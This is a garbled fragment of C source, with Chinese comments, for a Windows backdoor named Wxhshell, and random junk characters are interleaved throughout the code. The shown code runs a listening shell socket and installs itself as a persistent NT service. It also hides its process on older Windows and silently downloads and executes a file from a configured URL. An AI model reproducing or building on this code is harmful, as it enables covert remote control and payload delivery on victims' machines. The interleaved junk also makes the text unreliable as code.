{60U6n if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6"U$H$i.G `R_;n#3F0 CloseHandle(hProcess); 5}'W8gV? Nb/Z + hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N?mQ50o~C if(hProcess==NULL) return 0; .arWbTR)~U sK|+&BC HMODULE hMod; "l-R|>6~ char procName[255]; OP\m~1 unsigned long cbNeeded; mqoB]H, 9at_F'>R if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I73=PfS:m 2j-^F CloseHandle(hProcess); T5+9# w@hbY:Z9z if(strstr(procName,"services")) return 1; // 以服务启动 K\^S>dV d`J~w/]
`\ return 0; // 注册表启动 5P![fX|5 } v4X)R
"jJ yz^Rm2$f9 // 主模块
N| int StartWxhshell(LPSTR lpCmdLine) @*5(KIeeC> { /NFm6AA] SOCKET wsl; !,JV<(7k BOOL val=TRUE; HV8=b"D" int port=0; '>#8
F. struct sockaddr_in door; ,^&amWey ->a| if(wscfg.ws_autoins) Install(); lw_PQ4Hp qPgny/( port=atoi(lpCmdLine); 1HBXD\! :#Nrypsu if(port<=0) port=wscfg.ws_port; Nu7lPEM %"BJW WSADATA data; g,}_&+q:.M if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }\aJ%9X02 <,Pk if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; .%+y_.l setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q?{^8?7 door.sin_family = AF_INET; &O^t]7 door.sin_addr.s_addr = inet_addr("127.0.0.1"); OH6-\U'.Z door.sin_port = htons(port); }]|e0 w: 5T]dQ3[v4 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d2X?^ closesocket(wsl); `]wk)50BVp return 1; b_a6| } F%G} >xn v8
pOA<s if(listen(wsl,2) == INVALID_SOCKET) { kJ.0|l0 closesocket(wsl); 0K^?QM|S return 1; K5}0!_)G } b VcA#7
uA Wxhshell(wsl); @ x5LrQ_`r WSACleanup(); O#x=iZI OzUo}QN return 0; D7v_< aQglA } s-JS[ lHc9D // 以NT服务方式启动 yUEvva VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !p{CsR8c { ;_p!20.( DWORD status = 0; 2[g kDZ DWORD specificError = 0xfffffff; f}w_]l#[G K aNO&%qX serviceStatus.dwServiceType = SERVICE_WIN32; ZP9x3MHe serviceStatus.dwCurrentState = SERVICE_START_PENDING; +PKd
</*]
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7,5Bur serviceStatus.dwWin32ExitCode = 0; CRPE:7,D serviceStatus.dwServiceSpecificExitCode = 0; 9i+`,r
serviceStatus.dwCheckPoint = 0; >IJX=24Rc serviceStatus.dwWaitHint = 0; _~O*V& )w,<XJhg` hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p;.M. if (hServiceStatusHandle==0) return; 0n*D](/NK lwm
9gka status = GetLastError(); )F,z pGG if (status!=NO_ERROR) %`}nP3 { @IV,sze serviceStatus.dwCurrentState = SERVICE_STOPPED; qpV"ii serviceStatus.dwCheckPoint = 0; LyRW\\z2 serviceStatus.dwWaitHint = 0; I*H($ a serviceStatus.dwWin32ExitCode = status; QVo>Uit serviceStatus.dwServiceSpecificExitCode = specificError; 3a}53?$ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8~ u/gM return; zV8{|-2]No } 2BV]@]qB ry0YS\W serviceStatus.dwCurrentState = SERVICE_RUNNING; x.Tulo0/ serviceStatus.dwCheckPoint = 0; y'(a:.%I serviceStatus.dwWaitHint = 0; D 3Tqk^5 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rG3?Z^&R+ } moL3GV%]Gq pKaU
[1x?% // 处理NT服务事件,比如:启动、停止 USZBk0$ VOID WINAPI NTServiceHandler(DWORD fdwControl) OxN[w|2\4 { a]
7nK+N switch(fdwControl) <."KejXg- { kO4'|<
case SERVICE_CONTROL_STOP: Y-lTPR<Eq serviceStatus.dwWin32ExitCode = 0; G%viWWTY serviceStatus.dwCurrentState = SERVICE_STOPPED; zZ;V9KM>v serviceStatus.dwCheckPoint = 0; 8&yI1XM| serviceStatus.dwWaitHint = 0; UT0}Ce>e { GI6]Ecc SetServiceStatus(hServiceStatusHandle, &serviceStatus); B[9y<FB+ } :Q8*MJ3&V return; V&7NN= case SERVICE_CONTROL_PAUSE: Q hdG(`PY~ serviceStatus.dwCurrentState = SERVICE_PAUSED; DhXV=Qw break; UjS+Ddp case SERVICE_CONTROL_CONTINUE: /[E2+g serviceStatus.dwCurrentState = SERVICE_RUNNING; b>Ea_3T/ break; Zxh<pd25Y case SERVICE_CONTROL_INTERROGATE: %F\.1\&eE break; 7[I +1 }; 2"_5Yyb SetServiceStatus(hServiceStatusHandle, &serviceStatus); *Sps^Wl } O_L>We@3E a[p$e?gka // 标准应用程序主函数 2S-f5&o int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #_WkV { bjAI7B8As 3!{Tw6A8( // 获取操作系统版本 `\GRY @cg OsIsNt=GetOsVer(); \,'4eV GetModuleFileName(NULL,ExeFile,MAX_PATH); w)&?9?~ J&&)%&h'I // 从命令行安装 }42Hhu7j if(strpbrk(lpCmdLine,"iI")) Install(); E;wT4 T= ZsSW{ffZ77 // 下载执行文件 i|m8#*Hd if(wscfg.ws_downexe) { 2#/23(Wc if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #x`K4f) WinExec(wscfg.ws_filenam,SW_HIDE); |AS~sjWSJ } ae" o|Q /B)2L]6p if(!OsIsNt) { Mfnfp{.) // 如果时win9x,隐藏进程并且设置为注册表启动 %+/Dv HideProc(); r+k&W StartWxhshell(lpCmdLine); E1SWZ&'; } bo1J'pU else sf/m@425 if(StartFromService()) E\TWPV'/ // 以服务方式启动 q3C StartServiceCtrlDispatcher(DispatchTable); 4U~'Oa@p else <KfR)7I$0a // 普通方式启动 9WI5\`*" StartWxhshell(lpCmdLine); W]XM<# ^^ 2_ 1RJ return 0; ;e.8EL }
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